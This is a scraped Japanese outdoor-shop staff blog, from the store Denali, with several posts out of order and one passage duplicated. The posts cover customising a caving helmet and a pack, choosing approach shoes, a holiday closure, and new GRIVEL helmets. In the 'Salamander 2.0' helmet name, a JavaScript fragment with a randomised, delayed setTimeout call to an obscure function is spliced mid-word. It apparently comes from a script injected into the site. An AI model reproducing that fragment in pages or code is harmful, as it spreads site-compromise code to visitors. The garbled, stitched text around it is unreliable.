次は、安全のためわざと外れるよーにしてあるあご紐のD管をどーにかします。
こんなじゃ、匍匐前進の度にヘルメットが外れて役に立たない!!。
ココはキーリングにしました。
ただ、このままではキーリングの切り口がテープに干渉するので、もう一工夫します。熱収縮チューブ挿入。
ヒートガンで炙ったら完成。
仕事としては、こーゆーのが最高に楽しいのですが、絶対報われない。デナリあるある(笑)・・・。
山の店デナリのスタッフが綴るブログです
次は、安全のためわざと外れるよーにしてあるあご紐のD管をどーにかします。
こんなじゃ、匍匐前進の度にヘルメットが外れて役に立たない!!。
ココはキーリングにしました。
ただ、このままではキーリングの切り口がテープに干渉するので、もう一工夫します。熱収縮チューブ挿入。
ヒートガンで炙ったら完成。
仕事としては、こーゆーのが最高に楽しいのですが、絶対報われない。デナリあるある(笑)・・・。
先ずは、外れてしまうフロントハーネスを抜き出します。
ヒートガンで炙って、マジックテープを外します。
外れやすいボッチをニッパーで切断します。
ボッチ跡に穴を開けて、リベットでカシメます。
外したマジックテープを張り戻します。
恐ろしく地味な作業ですが、これを時給換算したら大変な事になります(笑)!!。
こちら、「洞窟探検に行こう!!」でお馴染みの!?、ciao!さんに以前納品したヘルメット。
音声さん大喜び!、知る人ぞ知る、KONG社のMOUSE WORK(マウスワーク)。
で、最近、「平野く~ん、水に飛び込むとヘルメットの中のハーネスが外れるんだよねぇ~」との泣きが入りました。
確かに、ヘルメットは普通、上からの衝撃重視ですから、水に飛び込んで下からの突き上げなんか考えてないわな・・・。
ただ、ケービングの場合、年がら年中頭がどこかにぶつかっているよーな環境で使用しますので、そー簡単に外れられては困る。
OK、隊長!、「外れないヘルメット」に構造変更です!!。
やっとパーツが入手出来たので、本日はコチラに排水穴の設置です。
先ずは、良さげな位置に穴2つ。
ハトメを挟んで打ち込み。
超アナログ作業ですが、打ち手・押さえ手、2人工作業です。
水抜け悪いザックならこの手のカスタムが1番です。
暑い日がつづきます。
で、明日8/13(土)から8/16(火)まで、デナリさんお休みでございます。実店舗・ネットショップともに、8/17(水)から通常営業です。
皆様も楽しいお休みをお過ごし下さいませ。「安全第一」で!!。
ちなみに、本日8/12(金)は営業中!。ご用の方、お待ちしております。
その3,:レースの量。
これもまた「クライミング向けアプローチシューズ」と「アルパインランニング用のシューズ」で大きく違うところです。
地面にべた足で置く靴は、別につま先に紐が無くても力が逃げることがないのでしょうが、先端ばかり使い「インエッジで乗り込む」なんて動作では、靴の中で足が確実に外側に逃げます。
「足、重要!」なことを知ってる皆さんなら、どーします?。「俺、スリッパ派です!」なんて言えるほど、アプローチシューズはキンキンサイズは履きません。紐で締めるしかないのです・・・。
ちなみに、みんな大好きCRUZER(クルーザー)とIGUANA(イグアナ)を比べるとこんな感じ。もう、結ぶのが面倒になるとココまで自堕落になりますが・・・(笑)。
その4,:木型。
そもそも、靴選びなんてコレに尽きるのかも知れませんが、アプローチスーズにおいてはソールのフリクションなどスペック重視なので、敢えて最後に回します。どーせ、履いてる時間短いし。
画像左、SCARPA IGUANA(イグアナ)。画像右、LA SPORTIVA TX-4。
ロープ出すか、出さないか、「ハイグレードハイキング」的なアプローチは、もう、簡単なクライミングです(笑)。
勿論、べた足で地面を歩いている時はワイドラストでもOK。ただ、ブカブカ、ガバガバな足先で岩場のスタンスを拾うとワングレード変わる勢いです!!。
結果、テクニカルアプローチシューズは限られてきます。
1,「インエッジ&アウトエッジなクライミングゾーン」、2,「マルチユースなブロックパターン」、3,「つま先まで配置しているレース」、4,「細型ラスト採用ながらシームレスニットによる快適な履き心地」、更には、5,「お手軽な本体重量と価格!!!」。
わたしが語るとインチキ臭いかもしれませんが、PEAKS 4月号ではHDの土屋大先生のお墨付きを頂いております!!、間違えございません!、多分・・・(笑)。
それでも納得いかない人は自分で確かめろ!、スペック詳細はコチラから。
今や業界的には、「滑らない」のが当然のアプローチシューズ。ただ、これだけ一杯あると売場やユーザー的には「滑る」可能性大(笑)。
で、選び方のポイント。
その1,:クライミングゾーン必至。
最近はアルパインランニング用のシューズも数多く出ていいます。「それっぽい」ので凄く惹かれますが、実際のところ、「似て非なる物」です。裏返してみてみましょう。
簡単な岩を登るにせよ、十分なフリクションが得られるよう、クライミングゾーンのフラット部分は存在します。一方、地面を蹴って走るのにつま先をこんなフラットにされては、ランの人達は走りにくくて仕方ない。
今までのクライミングゾーンはインエッジの物ばかりでしたが、今シーズンのそれ系はついにアウトエッジまで(笑)。
画像左、MONTURA Yaru Light(ヤル ライト)。画像右、SCARPA IGUANA(イグアナ)。
その2,:ソールパターンの違い(コイン or ブロック)。
僕らは、ソールパターンを「コイン」とか「ブロック」で呼び分けています。花崗岩の上を歩くなら、浅いコインは最高ですが、土や泥っぽいところでは、パターンが深いブロックの方が足が残ります。
ちなみに、苔のうえ、濡れた熊笹なんかは、何履いても滑ります。「ハイフリクション!」なんて嘘です(笑)。
この春にリリースされたSCARPA社 IGUANA(イグアナ)ですが、フィールドテストと人体実験は十分、デナリさんでも店頭在庫に格上げします!。
今やアプローチシューズは群雄割拠時代到来。製品的には「滑らない」のが当然なので、これだけ一杯色んな物があるとどれを選んでイイのやら?・・・。
値段ですか?、重さですか?、スタイルですか?。
そんな訳で、明日は迷えるマニアに「道具屋さん的選び方のポイント」とご紹介します!。本日は検体となったKくんの足ショットで終わり。
おはようございます。移転してから早8ヶ月。大分落ち着いてまいりましたが、今シーズンはかなり消耗したので、今年は世間様並に「お盆休み!」なんてものを・・・。
実店舗・ネットショップは、上記日程にてお休みとなります。ご用命は営業日にてお願い致します。
タチの悪いゲリラが頻発する今日この頃、お休みする以上は、ガッチリ高気圧に覆われた安定した天気を激しく望むなり!!。
ここ最近、ギア系メーカーさんの展示会場が集約されたのはイイが、1日の労働時間が増えて困る。マジックマウンテンさんに移動。
先ずはコレ。新製品のStealth(ステルス)。カタログスペック驚異の200g切りの194g、首振っても全然気にならない重さ。
そんでもって、コチラ改良品のSalamandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander 2.0(サラマンダー 2.0)。
今までのGRIVELヘルメットと言えば、「とにかくデカい頭でもOK」的な印象でしたが、今回は一変します。普通のサイズ感です。わたくしの鉢周りでは「ニットキャップ着用不可」ってサイズ感です(笑)。
最後の入荷から1年過ぎますが、バックオーダーは入れているものの、入荷予定などありません!。で、気が付けばモデルチェンジ!?。頭がでかい人にとって、こーゆーのは「改良」ではなく「改悪」です!!。
あと、ぐるぐるダイヤルシステムのアジャスターは紐に変更ですが、ダブルスライダーとは違い、片引き調整なので思いの外使いやすいっス。